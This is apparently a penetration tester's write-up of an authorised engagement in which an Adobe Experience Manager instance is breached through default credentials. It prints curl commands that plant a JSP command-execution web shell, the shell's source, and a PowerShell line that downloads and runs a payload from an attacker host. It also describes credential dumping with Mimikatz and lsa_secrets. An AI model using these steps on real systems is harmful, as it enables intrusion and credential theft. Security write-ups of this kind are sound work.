I was recently working on an external penetration testing assessment in which the only information provided to me was the IP address range. During the initial phase of active enumeration and information gathering, I enumerated subdomains, port-scanned, explored services and carried out several OSINT techniques.
A list of resources was compiled and ranked based on several factors including data like leaked credentials, outdated software, exposed services, etc.
In this activity, I identified a running Adobe Experience Manager Instance. Then I gathered more information about AEM like default credentials, any publicly known exploit and version details of AEM.
This AEM instance was installed with a default configuration and default credentials were working, I logged into AEM with the default user. 😊
In further reconnaissance, I identified a potential AEM RCE vulnerability. Mikhail Egorov has presented AEM Exploitation in PHDays Security Conference and focused my efforts to exploit this vulnerability.
AEM has a feature called ‘RCETYPE’, which can be used to get access to the server. I created a new ‘RCETYPE’ and used a sling operator which offers an adapter pattern to conveniently translate objects that implement the adaptable interface.
The exploitation required multiple steps to be executed as listed below:
- Create a Folder RCETYPE
- Upload the JSP shell to a specific path
- Move the app to a specific location.
I have used following commands to create a malicious RCETYPE
- I have created a folder “RCETYPE”
curl –u admin:admin –Fjcr:primaryType=nt:folder http://IPAddress/content/rcetype
- I then uploaded a jsp shell to rcetype node.
curl –u admin:admin –Fexec.jsp=@RCE.jsp http://IP Address /content/rcetype
The jsp shell (shown below) was then used in order to try and execute operating system commands.
<%@ page import=”java.util.*,java.io.*,java.net.*”%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (win32)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD=”POST” NAME=”myform” ACTION=””>
<INPUT TYPE=”text” NAME=”cmd”>
<INPUT TYPE=”submit” VALUE=”Send”>
</FORM>
<pre>
<%
if (request.getParameter(“cmd”) != null) {
out.println(“Command: “ + request.getParameter(“cmd”) + “\n<BR>”);
Process p = Runtime.getRuntime().exec(“cmd.exe /c “ + request.getParameter(“cmd”));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
The shell code could then be used to execute operating system commands.
- Then I copied the rcetype to /apps.
curl –u admin:admin –F:operation=copy –F:dest=/apps/rcetype http://IP Address /content/rcetype
- I used sling to create a rce node bound to rcetype.
curl –u admin:admin –Fsling:resourceType=rcetype http://IP Address/content/rce
- I was able to launch the jsp script for code execution 😊
curl –X “GET” http://IP Address /content/rce.exec Or Open this link in browser
My next step was to achieve better control via an interactive shell. To convert this command shell to a meterpreter shell I relied on “exploit/multi/script/web_delivery” Metasploit exploit.
http://<target> /content/rce.exec?cmd=powershell.exe%20-nop%20-w%20hidden%20-c%20$D=new-object%20net.webclient;$D.proxy=[Net.WebRequest]::GetSystemWebProxy();$D.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX%20$D.downloadstring(%27http://<attacker>%27);
Using this meterpreter shell I fiddled with the compromised system and looked around for anything that could help me during post-exploitation. I got a meterpreter shell for a user who had local admin rights which then elevated to a SYSTEM shell.
Then I dumped hashes, tried to fetch clear text passwords using Mimikatz, extract delegation tokens and used post exploitation modules like lsa_secrets which gave me working clear-text credentials for one of the users.
As the compromised host was in a domain, I used a meterpreter shell to enumerate more about the domain (i.e. users, groups, password policy, DC)
Then I enumerated the password policy details using the obtained credentials. Seeing the password policy did implement lockout I ruled out password brute force.
I performed an ARP scan to identify live hosts on the network using a post-exploitation Metasploit module and identified multiple hosts and started performing internal scans for the most common services (i.e SMB, SSH, RDP, etc.)
Further analysis didn’t reveal much attack surface hence I focused on single user and system where I had access. With clear text credentials at hand, it was easier to investigate the box using RDP Access. Hence RDP access was obtained leveraging port forwarding. Then I did port forwarding and took RDP access of the compromised system using the compromised credentials which we got from the Metasploit post exploitation module (lsa_secrets)
During further recon, I identified sensitive information stored in the config file and saved credentials.
I also found credentials in Browser Saved Passwords.
However, I had to stop the attack at this point as this didn’t lead to any new target area and the client was interested in working on remediation.
Unfortunately, in this instance, I was not able to compromise the domain controller and therefore the entire domain, however as I have stated from the external network and due to default application install that came with a pre-installed account. I was able to gain internal network access.
HAPPY HUNTING :)
